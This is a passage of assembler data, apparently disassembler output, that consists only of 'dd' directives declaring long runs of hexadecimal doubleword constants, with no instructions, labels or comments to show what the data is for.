		dd 19255780h, 70E48827h, 0BA153416h, 0FA2FCC04h, 241D68C2h
		dd 0FDCA265h, 0A7FC7589h, 1F81D752h, 5CE87CA6h,	0AB384CF2h
		dd 0BCF0F41Fh, 9CD9B580h, 1A754BD1h, 9F67D813h,	2338C05h
		dd 72AAB892h, 0B8130010h, 5BFEC205h, 0AF007FC4h, 70CDA73Ch
		dd 7E6D4Ah, 0DF6321C7h,	8BC96EDBh, 20F85361h, 9040FDBDh
		dd 3D610Eh, 4388D9CEh, 69A156A0h, 5D5C7A00h, 9BCD3190h
		dd 0B85A54F8h, 0FE5601E0h, 5B9DA3BFh, 9F6303Dh,	0A428C9E8h
		dd 5D008970h, 4B741ECDh, 45B83D3h, 8E2A46C7h, 1C1C82AAh
		dd 0B4181442h, 0C9003A71h, 2DC3FB28h, 0F34192h,	9C099ACFh
		dd 0EA500E7Bh, 0E21290B9h, 0B9064000h, 5BDB146h, 90D80F1h
		dd 158C2DDh, 0FB835220h, 0BB715CCDh, 3E9CBB28h,	78E81Dh
		dd 833BC4C9h, 0FD084D13h, 7E703765h, 0AEC3DC0Ch, 1ACB01B8h
		dd 924D17A4h, 77146026h, 36DFE800h, 0B7B8180Ah,	4E1D065Ah
		dd 4007D993h, 0B307948h, 8046A30Ch, 192BF004h, 63C727C1h
		dd 87DA9C10h, 0D8488BF0h, 742100E7h, 0CB3FE818h, 58A4003Ah
		dd 48F9894Ch, 3618FF45h, 0D5396DC2h, 6080AAB7h,	51506CFh
		dd 962E9D78h, 0AC709C8h, 570E3C44h, 604FA691h, 0A1991436h
		dd 6894009Bh, 7F9C79DFh, 0F0167DFAh, 0F800738Bh, 96D38E60h
		dd 0DCC0C06Ch, 0BCC79A2Eh, 8ABCF14Ah, 30206825h, 2ACB07A8h
		dd 0FBBDE803h, 0F19DB73Ah, 96F4D231h, 46CB012h,	7EBCD0C7h
		dd 9CB217h, 6C5D3780h, 76EAB6h,	8240779h, 48F6A0A1h, 0CF6AE605h
		dd 9DC0C8ABh, 4C9FB62Ch, 0B99E144Ch, 0D77895C4h, 0D8539D4Ah
		dd 0AE006835h, 0DAA5E960h, 0EBAE12EEh, 4290013Eh, 0D44D0687h
		dd 8313BD3Bh, 84C8B0FDh, 40D40377h, 0DE26CDB9h,	8080F2E2h
		dd 41FDCA23h, 5820974Eh, 5CA1BF8Ch, 0CFC0E4D6h,	7469BAAAh
		dd 0CA4D2B00h, 18A60456h, 611B16D7h, 5DEC0745h,	41CB4344h
		dd 0C6F3B816h, 0E25EA830h, 72551F0Ch, 5A33C0D9h, 298A1DDAh
		dd 41F1A702h, 5A6B9161h, 0DBB007A4h, 400E3988h,	2D5AF719h
		dd 955CD500h, 2AF1CDE4h, 0F8B0029Dh, 357C9755h,	0C2C84CC3h
		dd 7096D038h, 46AA1740h, 984D00E1h, 600D9197h, 0D4065307h
		dd 1180418Dh, 0B7B92A29h, 191F0DCh, 0CCA77024h,	83376B75h
		dd 88DEBA91h, 0A946A866h, 6EE201D9h, 414EBB58h,	6A38419Bh
		dd 0FB31801Bh, 0B79FC088h, 0A0A4CABh, 9127943Fh, 0C60EBC98h
		dd 2BD2C0A0h, 9942A608h, 0EE8D8205h, 8A99C41h, 5724D080h
		dd 2A0BD24Eh, 40B49A53h, 0EECD1804h, 0B2B8A060h, 37AD3883h
		dd 20D73613h
		dd 1E13DA0Ch, 0FB7A500Fh, 381B6585h, 520588Ch, 9D89A096h
		dd 0F0B90053h, 324B34A1h, 8040D44Ch, 82E34266h,	0FC5117A2h
		dd 0BE500F7Ch, 3F07F821h, 1C22D5h, 35B1C64Dh, 385F93Ch
		dd 0B2931A89h, 0E80CEA24h, 0A8653D3Ah, 0B9830278h, 15809B66h
		dd 0A484FBC0h, 49C7D57Dh, 600CBE3h, 22F3C72h, 0C816D20Ah
		dd 2B63FB14h, 0DF079AE0h, 0DCEE2700h, 3632C566h, 87DC96D8h
		dd 0A075C796h, 2A25689Dh, 0B8B83728h, 36E8C306h, 0B4296FC1h
		dd 0B18E4048h, 6000D642h, 0BB59568Ah, 43A6879h,	0BC3EAC51h
		dd 0ACA29Ch, 4F102D90h,	1EC4E1F3h, 0CBA8856Eh, 98443FF1h
		dd 23D69501h, 49F8EEBEh, 8ECD398Eh, 0B1695327h,	503F617Eh
		dd 30BD14E0h, 0D4C74B26h, 879CE10Fh, 397D9EB6h,	60C39800h
		dd 5BF291h, 32DA291Dh, 8D4CA3B9h, 0ABD04D0Bh, 0D27400E3h
		dd 7F72203Bh, 0C62E2E79h, 589A0840h, 7C01B78Ah,	0B25A3700h
		dd 1679E359h, 0C72A137Ah, 80F385A4h, 162B6BC8h,	46B6BA0Bh
		dd 803809BDh, 0F6921C65h, 3B0A05DFh, 806ACCF0h,	831BC8A8h
		dd 7944D09Ch, 0C02889C2h, 5CDD8088h, 4305986Eh,	0C86B05CFh
		dd 48009A7Ch, 0FB3646B8h, 3F740CE7h, 6BBDCC4Eh,	2D62BC87h
		dd 0F8F7813Ah, 52C1852Eh, 6B8037E4h, 326CB2Ah, 613B95C0h
		dd 81E946ECh, 0EF5DF4E2h, 3C04842Eh, 0DE67E060h, 0F74E0421h
		dd 0B8E8E453h, 4922C81h, 5F73C501h, 0DC50B8D5h,	21D3C3h
		dd 0D42D8822h, 0DBC7AB84h, 0C6739001h, 8363B2E4h, 0C4307621h
		dd 85D4A005h, 0B24C844Ch, 486082DCh, 58513Fh, 7EC8630Dh
		dd 0C64C7541h, 38013BD4h, 0C090CCCBh, 0B2C9E93Eh, 32CC037Eh
		dd 8C1B9D15h, 0EB02C986h, 36989738h, 25079CBh, 0D49C729Ah
		dd 5000D05Ah, 26B49165h, 0E862E559h, 0A57500E4h, 32ABFF38h
		dd 91754ADDh, 1489AF8h,	41F20638h, 28410A98h, 468B6B9h
		dd 44B4DB74h, 996C8CF6h, 83AD93Fh, 812FF82Eh, 7A6AEE3Dh
		dd 0BBC0E8F6h, 9C3A3E00h, 2EE1402Dh, 5AC2CD0h, 627A608Ch
		dd 710068D2h, 3AEC8608h, 54FD50h, 2E8F51C2h, 924F9746h
		dd 5178C9Ah, 820B6C4h, 0DB343Bh, 3649F01Eh, 99D1BCA9h
		dd 0D8C2BE0Fh, 80224BF9h, 8A55B78Ch, 41CF034Ah,	0C76C5E82h
		dd 6B2E19A8h, 8880B924h, 0E004EC4Ah, 5E49D036h,	0E444980Bh
		dd 239BBCA1h, 0CB630040h, 0BAEF8420h, 0A6EE0004h, 181F6A51h
		dd 99284F4Eh, 0CE08A89Ch, 8EBFD4A7h, 0D37E2963h, 2CAB0009h
		dd 0AB561B2Ah, 16FF5100h, 586241C1h, 1A702ADBh,	0A65324F4h
		dd 0CF0039EEh, 4F3EF231h, 9CBC2988h, 0C4739340h, 0A56D006Fh
		dd 972B3F50h, 707463CBh, 0B7489B14h, 32A88098h,	0ED5CF9h
		dd 0FF65D927h, 0C41B374Ch, 82218A00h, 2580E0BAh, 129E463h
		dd 445EBC41h, 6C8A1B3Fh, 4F08234h, 0B5F96194h, 0C6D925C3h
		dd 16578C10h, 0DC03AEE4h, 0E87B7383h, 0FBB0B00Bh, 39DE002Dh
		dd 99E09DB8h, 9B4C63D0h, 0D4A07B10h, 92602C15h,	4D87C7B8h
		dd 0FB172A93h, 0EA3A002Ch, 0F59A8986h, 940084FCh, 36959D4Dh
		dd 1502DF0h, 736CC127h,	396B083Fh, 467E031Ch, 0E8F6968Bh
		dd 1F708D0Ch, 57B27D87h, 1254059Bh, 0F438E4B7h,	0CEE27600h
		dd 2C4C7CFFh, 6F7804EAh, 0B38F1BC2h, 90747688h,	19827512h
		dd 6A2C01Fh, 0B8A7A19Ch, 2700116Ah, 36B44DF8h, 2D8C960h
		dd 0D9409480h, 40C1370Fh, 107860DEh, 6982D00h, 367D96FEh
		dd 0C620A2C3h, 2FBD00D4h, 68E2A74Fh, 6148D198h,	0A3F6006Ch
		dd 6A9D9399h, 6FBF007Dh, 0F77B47ADh, 0AA4C7CFEh, 99F080F0h
		dd 0B09B249Ah, 0A7091230h, 3E1D32h, 0FCE31D89h,	0C82E5D12h
		dd 4B80D5h, 0ADFD61C1h,	24A95020h, 0DBB90EC1h, 79012A42h
		dd 824E9A74h, 36C4F2C8h, 428492C9h, 96FAC168h, 0B9168032h
		dd 0CA3C2C99h, 0CE9F960Bh, 0B8F88087h, 376952Dh, 5A8AAF32h
		dd 15A1BD9Ah, 1C3DB7h, 3AFFE4C4h, 3EB95A9h, 589E7BCAh
		dd 1DA8B175h, 0D3FC4703h, 0C740525Ch, 6290FB22h, 0D7B838h
		dd 0E9AAE465h, 1D8023F2h, 0DA51600h, 0FE835237h, 20935BF3h
		dd 0C927283Ch, 0AC20E85Bh, 1D4D95CFh, 13D757Ch,	45874854h
		dd 94BEC4CDh, 692DE60Ch, 48E158F0h, 0D9C0D010h,	3A79BE21h
		dd 4C961200h, 0C89323DFh, 688A27FAh, 0FD6EE8A0h, 3E00AF12h
		dd 0F7FB546Ah, 31B964CEh, 0C5496085h, 2034600Dh, 0D8901B2Eh
		dd 0BD326340h, 3F6030E3h, 6C915AC8h, 92BF017h, 2641DE07h
		dd 18186B95h, 16DC5B4Eh, 1DAD2C40h, 0FDAA42E4h,	28C0E24Bh
		dd 3A13D848h, 0FC25B4B6h, 18B20080h, 90B042h, 0D09481Eh
		dd 0A45C8879h, 0A0CD332Eh, 0FA1B7058h, 0E8950036h, 9E063FE5h
		dd 4701B139h, 1AC3108h,	0AC27944Bh, 0A56E751Eh,	0C055C09h
		dd 0F16C88C3h, 2480D200h, 48E7C1C2h, 0FBC52E97h, 352040C0h
		dd 0CF00014Dh, 0D071F0C0h, 0B015E217h, 61D501A8h, 2433252Ch
		dd 0A8402BA9h, 0CEC5753Ch, 42F8FCh, 6F81591Fh, 0E948C9ACh
		dd 7DE02BFAh, 11834111h, 219CB917h, 22D494C0h, 27180BCCh
		dd 5D005FF5h, 73EAA3Bh,	391BA613h, 4CF2E025h, 3B428500h
		dd 8399715Ah, 0F0BE4501h, 1FD836C6h, 0EE18C014h, 15B085DEh
		dd 7E3DDF02h, 80554EF0h, 5BBDB4FCh, 0EA90F808h,	336E8F3h
		dd 32216097h, 3CE0EC29h, 10604A3h, 0EF2EB686h, 9A0D4488h
		dd 83080C00h, 40AF576h,	0FB7A3C72h, 2C675CF6h, 36253722h
		dd 0C3346AC1h, 0CA22A4E4h, 0CD002059h, 8DA46A8Ah, 0BCC608E5h
		dd 0A0471A68h, 5F69DE40h, 0F55D09ACh, 8C01409Eh, 4104C218h
		dd 38C8CBF0h, 0AB268724h, 36D4C3AEh, 0DC9EB88Ch, 0DBF601DEh
		dd 0B5691425h, 4780476Fh, 0E4B74531h, 241D3854h, 25010DAFh
		dd 9E503D66h, 3058DC72h, 5A6EAC0h, 9B00F9E6h, 641896D5h
		dd 4EA2ACh, 27E53C88h, 360AE0A1h, 9C30D64Fh, 2CD21DF9h
		dd 4040FBE3h, 0BE759264h, 0EB3EBA00h, 66A08307h, 0ADBC002Ah
		dd 811FDACDh, 0A8086BC7h, 0A019851Bh, 0BD10E9F0h, 0CD0555F1h
		dd 0B6C09548h, 0D714F4h, 0E8DC4F77h, 0D19D200Fh, 8913F37Bh
		dd 0AC0AE212h, 82BC4C1Ch, 66E0BE8Ah, 60F8E22Ch,	9E71F4A0h
		dd 272B807Ch, 5756D8F2h, 0EFFD20FDh, 0E9108F0Ch, 4840D9C4h
		dd 0CB113C59h, 22284813h, 406C9430h, 0C638C374h, 68BA2B00h
		dd 0D1D594EDh, 16B828B4h, 3B9D011Ch, 0C29CB1FBh, 6FE07BE9h
		dd 28CC1C09h, 2912D936h, 0E42DD4h, 154668F7h, 1E81BFB8h
		dd 4740706Ch, 0C4765C0Bh, 0F5248CE3h, 73D6BA00h, 2FE44ACCh
		dd 0E2B60912h, 1C10FBF8h, 330CAD47h, 3A3CD6E5h,	5E000E7h
		dd 83AE9821h, 0A701B913h, 84DF79FDh, 0D7D0013Dh, 0CD161267h
		dd 0C310307Dh, 3200271Dh, 55ECEF6Eh, 836FD9h, 87649328h
		dd 2C3479CCh, 0D08DC34Bh, 66DFAC81h, 731E7FDDh,	0FD8D0420h
		dd 80BA31B9h, 6FD8350Bh, 0BD8AD100h, 1E300989h,	169C98DCh
		dd 1D527322h, 62788055h, 47D1969Ch, 720A4A1Eh, 0C7EEA587h
		dd 5E204F3h, 6BCD3CC0h,	0EA8880BBh, 6CBC9F41h, 0B234641h
		dd 0EC097873h, 160106D4h, 3D71F84Dh, 0EB0F1D40h, 882FAA00h
		dd 3415C45h, 0AF4905FCh, 0C11F34B7h, 5480444Fh,	6B6F1675h
		dd 4738BE08h, 14D5E020h, 0BD000C4Ch, 64DABFE4h,	2C7C88Dh
		dd 0C5849E9Ch, 0E0906A0Fh, 97015FF2h, 0FA0DEE29h, 9BD06941h
		dd 2C6300FDh, 7CD3A2CBh, 8501E349h, 4EA19D02h, 9820C8D0h
		dd 9C1F44DFh, 40E57A2Ch, 7B596000h, 1ED80BCh, 0C501D953h
		dd 4868BDB2h, 84077CE4h
		dd 0DA729803h, 0CFBC650h, 19DECBBh, 4EED5001h, 27A7430Eh
		dd 0E98809A8h, 4DBC8095h, 5CB9056Fh, 0BBB0549Fh, 5B24FF88h
		dd 6F601C22h, 1C1CBC4h,	4750174Eh, 0F4074F61h, 0F9007E87h
		dd 390BC859h, 240F9AB2h, 40B06B05h, 698B3B63h, 0A3595500h
		dd 6FC3B025h, 965D3B5Bh, 3E31548Eh, 3F018D42h, 0EE4745Ch
		dd 29880880h, 0E3410052h, 40BF0C2Ah, 0A40E7B9Dh, 6435379Ah
		dd 0D0B4D51Ah, 0B89009AFh, 2CC45694h, 9BBDF500h, 82C9D6F4h
		dd 20434B1Eh, 599E69E8h, 0F0FCC413h, 9D4A5CB0h,	0A4C83C13h
		dd 0D0288D6Ch, 1C44D410h, 9CB62EBCh, 0AB6E4154h, 1B32DC98h
		dd 71108903h, 99256139h, 4EF5B6BDh, 0B2E29A4h, 0B433EDD1h
		dd 0FEC8E9A8h, 0DF7E1F16h, 120B6200h, 9AC677h, 0B4A99D10h
		dd 71CEA71h, 9380C891h,	0D5652A7Dh, 383600E4h, 2F418197h
		dd 6625E324h, 0C84499h,	4D183522h, 57C67804h, 9C277500h
		dd 0B79D4F12h, 0B05A02A6h, 0EBFC3A5Eh, 86433C7Ch, 0DAF6C839h
		dd 0D1A20140h, 8D921AE2h, 16F8F7C1h, 0E8642F8Ah, 2530CC8h
		dd 199EB878h, 7C9CBCC0h, 0F3502D0Fh, 1A6202C2h,	26E47290h
		dd 0CCC6ECh, 9529DDE1h,	9CA16F35h, 5DE0DB5Bh, 9A9D99F4h
		dd 8A084358h, 0C0A4429Ch, 0C0401DCCh, 18BD4240h, 164FFA82h
		dd 0C3FE6024h, 0D6809BE0h, 8B00B5E5h, 125BE648h, 4C095F74h
		dd 52C0F8DDh, 0DF0D7890h, 6A3FE201h, 4CBBA4D7h,	9044203Eh
		dd 0B800E786h, 0AA247091h, 0DE7CE1h, 7E35E8CAh,	9D95047Dh
		dd 0CEA4111h, 99F88900h, 87790D4Eh, 64675824h, 87BC1C24h
		dd 6041F1B2h, 1F4649Bh,	5B1693C7h, 7B18EFCAh, 8BDDB0h
		dd 9BEBA8D6h, 0AF1480F1h, 0C7639E14h, 18E92D94h, 74DDB4h
		dd 80D71038h, 37F08F0Ah, 0B9258D7Fh, 7A6818B1h,	8D9E4FD9h
		dd 0C3A4307Ch, 0DE24109Dh, 7E5A00E4h, 0A956E575h, 450138F9h
		dd 0C07BEFDDh, 24C8482Ch, 0C1220215h, 4D80B6CAh, 0B2973083h
		dd 70DF5008h, 0DE338134h, 0CCFDE9C1h, 1605996Bh, 10184FF1h
		dd 81028CF2h, 7EEE6D7Bh, 4F0498D6h, 24B4FBCBh, 38D3009Eh
		dd 22DD1F16h, 25042C6Fh, 0ADA7C60Dh, 0A075E8BCh, 276AB890h
		dd 0FC68FB2Fh, 0AB1CE328h, 51031870h, 0E0214424h, 1320701h
		dd 588A1D83h, 80A8BBCEh, 53F6316h, 2E88F028h, 3D60FAD9h
		dd 810FC7C4h, 0CF604FCDh, 0B627E093h, 0E233C4EBh, 1B90CF49h
		dd 0F0049AC2h, 64414462h, 0CE7024F2h, 0F402264Eh, 56F7560Ah
		dd 0E75D0F44h, 0C00F2067h, 0AE95CB17h, 5CC684Ch, 6A0226C8h
		dd 6970F4h, 6D7DD8CFh, 15E53A14h, 7579B4A0h, 20D59A2Dh
		dd 4DAAB858h, 41470330h, 0A4613FDEh, 760980A6h,	106B5191h
		dd 1ABB9A4h, 0D8817894h, 20722938h, 2805D3A8h, 1795BA20h
		dd 2563C8A0h, 0C0201D7Eh, 0F87B428Ah, 4E5AB771h, 7D10C20h
		dd 48251638h, 401C30EFh, 0C0096146h, 648DB6B5h,	809498E4h
		dd 74C9B44h, 0A7AB81FCh, 78E4C996h, 8277877Fh, 0F9ED1E00h
		dd 0F3FC812Ah, 5F5C3AEBh, 22D7A382h, 4D8AEAFh, 90B48525h
		dd 7635904Ch, 0F6910BE2h, 6A8F6BABh, 80FC7A60h,	32009609h
		dd 9C24FD55h, 48A79775h, 0D7805468h, 0DE663CA3h, 314D007h
		dd 0C7927DBDh, 72888ECDh, 70D7E005h, 4D34CC20h,	0D4260252h
		dd 79FA6EF9h, 0E5835DE0h, 71FB5F17h, 3E990820h,	1034EFC3h
		dd 0DCBE24E3h, 0AD800214h, 0ACD1D08Fh, 8B49003Ah, 0EC48F655h
		dd 0F1F40094h, 78D96FFEh, 8601C444h, 67267FB9h,	9E11B8D4h
		dd 0BC36F8AFh, 0CD56C516h, 3F23E9B0h, 0A8016D2Bh, 0D3D2755Ah
		dd 85CC2099h, 1C6B22h, 669004C3h, 0CA97A7FAh, 78F45090h
		dd 109D1C98h, 297114h, 2E552F56h, 0C9B0AC13h, 707E4400h
		dd 0ADE8DCC2h, 0BB773FF7h, 992F3AF5h, 8C3F0900h, 7E45603Ah
		dd 0F88D7900h, 0A1786FD7h, 5DD500F6h, 0ED3AF288h, 0AD00F577h
		dd 84F3074h, 6F3D53A9h,	0AB8050BCh, 6D1FC60Fh, 75584C1Eh
		dd 4B0C6F93h, 788E21AEh, 5D220081h, 9C32DE8Dh, 0BB3F256Eh
		dd 0F1D01838h, 78CEE899h, 0AA983CEEh, 59805880h, 287E2EFFh
		dd 35CF38C0h, 81A5AAEh,	0F5750F74h, 877AE600h, 50A24B26h
		dd 2FDD31Bh, 6105AF84h,	0B240A3CEh, 451EBF43h, 0CCC17D74h
		dd 36DC06BBh, 30A9B9D3h, 0E164CF0h, 0A1A534E4h,	506D6B60h
		dd 801F2F42h, 714095B1h, 16C58AC2h, 5684A8EFh, 0CCCF0130h
		dd 51CD8792h, 0A8C4D4C2h, 4468BD60h, 7BEC5648h,	6DDE0609h
		dd 0B1760C43h, 3A8E48h,	19B78C34h, 0B1BDBBh, 2E89A1D4h
		dd 2BD8020Dh, 470F1E18h, 0AC2031h, 0AE710819h, 0F352F1A8h
		dd 3801FA00h, 51309F5Bh, 0B045507Eh, 0B8BA5471h, 589701E0h
		dd 0E5C28DECh, 0F2B051DBh, 121BC37h, 6154C0BDh,	69A47971h
		dd 0C183944h, 0CA7A1170h, 0F1334D00h, 0AA6506BAh, 8013524Fh
		dd 3DF0AE00h, 0D23C9132h, 0F0F3E228h, 0FE747839h, 125F3712h
		dd 80F91C08h, 38BA286Eh, 3D22C1AAh, 0DA7C9Eh, 8CD326C9h
		dd 3ED42A98h, 230BCB00h, 2EF56703h, 960A01E5h, 3CADEEF7h
		dd 6A398062h, 2BBE17CAh, 44E700F4h, 7A2ED573h, 4C149706h
		dd 1D8C403h, 31B264E5h,	398E613Dh, 1B2823Fh, 42D7FD9Ah
		dd 0E67B20C3h, 6F441800h, 92819D27h, 8B3301BCh,	0A14D9CE8h
		dd 0C5D2D09Eh, 0A483CF2Ah, 1C1E8C00h, 0B57FEED0h, 40FE0086h
		dd 415131AFh, 0A0A85A0Ch, 7C0082D2h, 5CB5D673h,	3E63F3DDh
		dd 0C603E52Dh, 86C3934Eh, 51513Eh, 0D436120Bh, 74439F2h
		dd 1CBC9A61h, 0F94C500Dh, 42014E03h, 0BF387633h, 0D1809D3Ch
		dd 3406F154h, 3700F3D7h, 3D86D9EDh, 4FB26Ah, 77ACCCFBh
		dd 0F707BB1Eh, 1FCD0B1Eh, 2E877C03h, 0AF6C90AEh, 44D49096h
		dd 0EA541662h, 1407B0D8h, 10A02134h, 51F33E00h,	99C2022Eh
		dd 9736C6EBh, 944CF882h, 0BA5CAC48h, 25EC9CEAh,	922EEC09h
		dd 23C10D0h, 0A6640954h, 4026AB6h, 3460458Dh, 1B00616Dh
		dd 9D807451h, 1F7D7FDFh, 0C0E14BBDh, 0DD535894h, 0A8A8710Ch
		dd 0E304EDFDh, 0A632C6FEh, 0B7BA88Ch, 5663242Fh, 0FE103500h
		dd 2AF4190Ah, 0BD08B907h, 0DE7384D9h, 22DF8027h, 33BB0688h
		dd 0B04E6914h, 0AB483112h, 613EE001h, 598C816Ah, 97C1F9CFh
		dd 80C9673Fh, 6A204F94h, 0F0856ED7h, 0E74B008Ah, 0C456CA22h
		dd 50DF5367h, 0BA7BBC00h, 1EDBE28Dh, 804F7E2Ah,	57CAF8A8h
		dd 433FD5FCh, 7C8A808Eh, 0EC880491h, 0D39400A5h, 0EAB75474h
		dd 0D0F8FADCh, 1B81FF60h, 7593BEC4h, 0F5D70CC1h, 75102F76h
		dd 69FFEB00h, 0A9D30355h, 0C2F20C7Dh, 7F39F7EFh, 93944201h
		dd 0B84BC674h, 88EB0030h, 0A30FA08Dh, 891D6EE4h, 71D410E2h
		dd 91E1F0C5h, 5A8604F4h, 0D3E4C874h, 0AB75FCA0h, 944A11C0h
		dd 2A6155D4h, 0FA9C6674h, 0DF21011Ch, 57205B39h, 0FD79F859h
		dd 89CBF609h, 5F6C900Ch, 0FC7F28h, 6FA78BEh, 0CC07DC2Ah
		dd 0E7129B00h, 0AFC7F719h, 0B85400DFh, 0C5F189CDh, 2900B133h
		dd 924C56F4h, 71AF089Bh, 863F321h, 48145507h, 0C099548Ch
		dd 0FB18EF83h, 0E8E9011Dh, 0B7EE1382h, 744415h,	58ED5CF6h
		dd 2B7E6076h, 7282E200h, 53AA9703h, 5AE63B35h, 162C80D2h
		dd 472A4084h, 5D08E78Ch, 80B53CD2h, 844B20F8h, 0D700E8A9h
		dd 5A8CE92Ah, 7CBE5D2Fh, 0C3163096h, 0B46BB841h, 0F2AA5000h
		dd 0B3F87013h, 0B867507Bh, 95723A1Ah, 59B76373h, 36E9E407h
		dd 7882362h, 912F6CE0h,	53051FE0h, 0B36A02B4h, 5C17D274h
		dd 8424C984h, 5500BB55h
		dd 38B73D14h, 80922AE9h, 0A0AB0264h, 0BED234B0h, 848000E2h
		dd 8E87351Bh, 0E5BA8400h, 0C167F05h, 4A79C162h,	0C8DA0E78h
		dd 0C212138Dh, 38462CE4h, 71B16A3Ch, 60F60081h,	556B067Dh
		dd 0E200B117h, 452C51ADh, 612FD1Eh, 4361D6B9h, 0B2095964h
		dd 80BED444h, 94976B28h, 0C415308Ch, 3BC1A4A9h,	9883502h
		dd 0C07B1849h, 3C94E8F3h, 0C9DF2B3h, 0EC3814ADh, 19C44193h
		dd 0FC4E5E48h, 8760D03Eh, 7967A7A9h, 1C407B89h,	418C8210h
		dd 1B3F2A35h, 0CFAB60BDh, 0FA1A7402h, 83502925h, 0F9793CA0h
		dd 619FEC1Ch, 61EF8058h, 0B6B5D497h, 0AC939800h, 0D8BC424Dh
		dd 0F7C224E0h, 807E44C4h, 8DBD9200h, 0F1730F30h, 1C7BA2EBh
		dd 0C39793EEh, 14F633E0h, 0D6EDFEE0h, 29C7261Eh, 0EAD08406h
		dd 0F6F35049h, 80A71E4Bh, 8498B0B5h, 8E78EAC3h,	0DE147C77h
		dd 58FD424Fh, 26B05871h, 0A400D8ADh, 61452D6Eh,	422813DAh
		dd 0F514088Eh, 7C000A4h, 441654AEh, 110352C5h, 744D7B12h
		dd 0CC96902Ch, 4E610B38h, 1C103D6Fh, 700182F2h,	99E01D3Fh
		dd 0C0C418E9h, 0AE381AFAh, 784070B3h, 30B9F465h, 4D54F380h
		dd 0FC092DCAh, 42A7861h, 0D9193403h, 7E748C9Eh,	9BC49900h
		dd 0B59C6B4Dh, 1C1D0CC6h, 9220787Bh, 0D4BC6200h, 0B4C52BE4h
		dd 5C21F8D9h, 0A0166FAh, 35DDA239h, 0C6087008h,	54BA85EAh
		dd 24CF9700h, 0E68D94C4h, 34324FFh, 0C71138h, 75AC740Ch
		dd 1C17C897h, 8065E7B5h, 0C69D9C14h, 0F15881BBh, 67451B60h
		dd 235804A9h, 0A4E9DDC2h, 0A30F06B4h, 9E3A27E0h, 3D198458h
		dd 0EC91B6h, 906FA06Eh,	1A032B35h, 4238B262h, 801BE29Ch
		dd 53B53FE0h, 45BF0207h, 0D0E0B6CCh, 0BA0944E4h, 0A1055Fh
		dd 0F14A6615h, 959709CCh, 0F082A331h, 0B4C0A858h, 7700433Dh
		dd 65802F45h, 9BA4Bh, 2A19ADA3h, 64D1F194h, 90667722h
		dd 0C1BAF840h, 0DE957E08h, 2D90923Eh, 8B0C3800h, 0A0716219h
		dd 7E5118h, 4B8E8D23h, 0F0D0978Ch, 0A1EDA1C3h, 0B3408814h
		dd 0E598002Fh, 9F760A25h, 900749Bh, 4B94700Fh, 688D90CBh
		dd 119444DEh, 46550FDCh, 0DF42E074h, 544C2Ch, 0F222172Eh
		dd 7E57150Ch, 0C004265Ch, 8EEC40A7h, 0EEC60h, 0BBFB28C6h
		dd 504CB64Dh, 0B7EFB806h, 9D89422h, 3C326E6Dh, 0DFB54448h
		dd 98FC2500h, 23CA1571h, 6E360717h, 0F0449474h,	0CD510638h
		dd 0CF2C160Ch, 9BA1FFh,	48F5498Fh, 91558CF2h, 1734A048h
		dd 9840A832h, 0D69F02B5h, 0BC4601BAh, 7E916A2Fh, 298040ECh
		dd 0B89842F0h, 0F1C345Ch, 9E48F7C3h, 565A04Fh, 0F4C83DABh
		dd 8A4F001Ah, 54D250ACh, 3600FD6Eh, 13792224h, 28E30949h
		dd 0B99886BCh, 91780140h, 0C8DB9639h, 5406F25Ch, 0B2AFCB90h
		dd 0C0941298h, 0CA44223Ch, 43D433E0h, 0A51A2513h, 7024BC30h
		dd 0C071D9h, 0CC31E0EFh, 0CF4A6589h, 44B05B90h,	88FED02Ah
		dd 99642200h, 549B331h,	0BD030997h, 1C01AAC2h, 30200C0Dh
		dd 7F3ECC40h, 0DBE3114Ah, 92E05501h, 208B544Bh,	8C121B58h
		dd 9090CF24h, 411A5Dh, 0EE327A64h, 87E6CECDh, 7C2D8100h
		dd 7FA4F352h, 1CCF48E3h, 208CC580h, 6EE29160h, 7801BE30h
		dd 0D15324h, 34F24071h,	0C02F511Dh, 8560457Ah, 0AC389F39h
		dd 0C96901EBh, 6B626DAFh, 0CC7BD564h, 74B8104Eh, 99886C79h
		dd 9AD400B8h, 0B62B5463h, 0D22649ECh, 7B12049Eh, 80E86408h
		dd 86E9BBAh, 0E60338EDh, 0A1991BDEh, 5818B6E9h,	0AB035425h
		dd 8D6C1EFCh, 0C6193E8h, 98695C60h, 0F3C42935h,	471DDD0h
		dd 0E9BBDFBDh, 684802Eh, 7A00CD57h, 64AF4A58h, 17542FDAh
		dd 1F0B2DDh, 0E1AA7DBCh, 4030D88Dh, 64E0E614h, 0A5E900C8h
		dd 5A1893CFh, 0BFE49C6Ah, 796B6D1Bh, 90445BE2h,	0DDDCE04Ch
		dd 6BD85840h, 3A29888h,	2EEC7276h, 7A98280Eh, 68285ABDh
		dd 71222862h, 3EF80065h, 43EBE224h, 917FDE9Ch, 218383Eh
		dd 586D94E5h, 0D6888582h, 0B94B58D0h, 0D5110308h, 5D0CB3C1h
		dd 49934900h, 57F322DAh, 0F2CCB0B6h, 613FB846h,	3D1B40AAh
		dd 688181BBh, 0C84FEC8Bh, 0ECDBC2D5h, 0D4E2B881h, 8D63420h
		dd 0DDD083B7h, 9322C680h, 0F6AB3E96h, 0A847008Bh, 78CD406Eh
		dd 95007984h, 0A4D3F507h, 69F0C2EDh, 0D40439F6h, 462CC2E1h
		dd 6C4D245Ah, 60808A90h, 38C4E880h, 188C213Bh, 304B79DDh
		dd 0E8A7076h, 2D0191A0h, 33BB44E4h, 0A03CD849h,	70DA19C0h
		dd 0A2FE04h, 8E6B3FECh,	2BB50B12h, 46377F05h, 4C34081h
		dd 0BA69C10Eh, 0B0AAF3E8h, 20ED45F4h, 20185040h, 0E4C0A64Ah
		dd 3F9D7A8Ah, 7C026C76h, 637B7E1Fh, 61C2CC60h, 505F6828h
		dd 90BC7F22h, 0D1AE00C8h, 75D4355Eh, 0B7674210h, 44C4B650h
		dd 0DC26CC0h, 0D0952C85h, 0E4874080h, 0A1072292h, 371FBC15h
		dd 7B695E40h, 6AD802E6h, 31744BD4h, 628FF4E0h, 0E000890h
		dd 7A08E903h, 0B2B012B1h, 407D4C50h, 3073DC22h,	494EE00h
		dd 0B172492Fh, 259E0C33h, 3AC8FC06h, 0BC0020B8h, 5A9007B3h
		dd 630FEDF2h, 45F0D96Fh, 911D9787h, 8FFBB0E7h, 41AE84C8h
		dd 0DB30DE9Bh, 90363020h, 241A5DBCh, 0BB870401h, 305B6507h
		dd 0E234C230h, 0D83091FAh, 0FF5629h, 0C2D26560h, 0E4886A57h
		dd 22C526C0h, 6742B9C8h, 63F57089h, 3900633Ch, 968C0F6Dh
		dd 28758CFh, 0B6D83A43h, 0D3E0342Ch, 0F4CF6BDh,	18F14h
